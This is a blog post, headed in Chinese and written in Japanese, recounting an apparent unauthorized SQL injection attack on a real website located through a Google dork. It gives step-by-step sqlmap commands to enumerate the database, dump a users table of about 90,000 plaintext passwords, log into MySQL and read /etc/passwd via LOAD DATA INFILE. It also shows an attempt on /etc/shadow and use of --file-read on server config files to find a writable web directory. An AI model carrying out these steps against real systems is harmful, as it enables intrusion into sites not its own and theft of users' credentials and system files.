banner
ximalaya

ximalaya

这里是openkava 的blog,关注程序开发的一切技术。 ZZ 表示转载的文章,如涉及版权,请和我联系删除。 在这里你可以看到关于以下技术的文章: 移动开发技术,ANDROID ,IOS,WINDOWS PHONE平台开发,企业ERP开发,动态脚本PYTHON ,OPENGL ES 3D技术,游戏开发技术,HTML5 ,JAVASCRIPT ,MYSQL,AMAZON EC2 ,GOOGLE GAE ,GOOGLE CLOUD SQL 等 。 本站发展历程: 2010年,正式把所有的blog移到这里,租用godaddy的空间,记录生活和工作上的一些心得。 下面是关于我的个人介绍,写在这里权当凑字数啦。 职业:软件开发,开发经验6年,管理经验3年; 工作上使用的技术:C#, SQL SERVER 个人使用的技术:PYTHON,PHP, CSS, JAVA ,ANDROID ,object-c 等等 联系我请发邮件:<a href="http://blog.openkava.com/openkava@gmail.png"><img class="alignnone size-full wp-image-96" title="邮箱" src="http://blog.openkava.com/openkava@gmail.png" alt="" width="174" height="24" /></a>

一次SQLインジェクションの権限昇格実験

sqlmap は、SQL インジェクションスキャンツールであり、Python で書かれています。私自身がそれに興味を持っているので、ダウンロードして見てみました。
cmd> python sqlmap.py -h でヘルプ情報を表示します。
他の -g オプションを使用して、Google で SQL インジェクションのあるウェブサイトを見つけることができますが、Python ではwww.google.comを使用します。
中国のユーザーにはエラーが発生するため、ソースコードを見つけて、lib/utils/google.py に置き換えてください。www.google.com.hkになります。
例: python sqlmap.py -g "allinurl: php?id="

ウェブサイトを見つけて、インジェクションを見つけました:http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" でデータベースの MySQL と Apache サービスを見つけます。
現在の MySQL ユーザーを表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-user
データベースを表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-db
ユーザーの権限を表示します。運が良ければ、root が管理者です。次は簡単です。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --privileges
テーブル名を表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --tables
ユーザーテーブル users を見つけてダウンロードします。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --dump -T "users"
ダウンロード後、すべてのユーザーが表示され、9 万件のデータのパスワードが暗号化されていないことがわかりました。admin とパスワードを見つけました。

ウェブページには管理画面がなく、webshell をアップロードすることができません。
このウェブサイトのオープンポートをスキャンします:80、22、3306
このパスワードで SSH にログインを試みましたが、できませんでした。
直接 MySQL にログインしました。成功しました。
次は MySQL の権限昇格ですが、MySQL は root ユーザーで実行されていないため、権限が不足しています。MySQL 5.1 バージョンでは UDF は使用できません。
システム情報を取得するために、MySQL の load data in file を使用してみます:
MySQL にログイン後:
use dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test;
select * from test;
ユーザー情報が表示され、同じ方法で shadow を取得しようとしましたが、権限が不足していました。

sqlmap を使用してシステムファイルを直接ダウンロードします。
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
MySQL の設定ファイルをダウンロードします。
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf

努力は報われました。これらのファイルからウェブサイトのいくつかのディレクトリを見つけました:
/opt/images/
ウェブページでアクセスできました。
ファイルを書き込むことができますが、このウェブサイトは Perl を使用しているため、詳しくはわかりません。一旦ここまでです。

まとめ:小さな脆弱性があれば、ウェブサイトを侵害し、root にアクセスすることができることがわかります。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。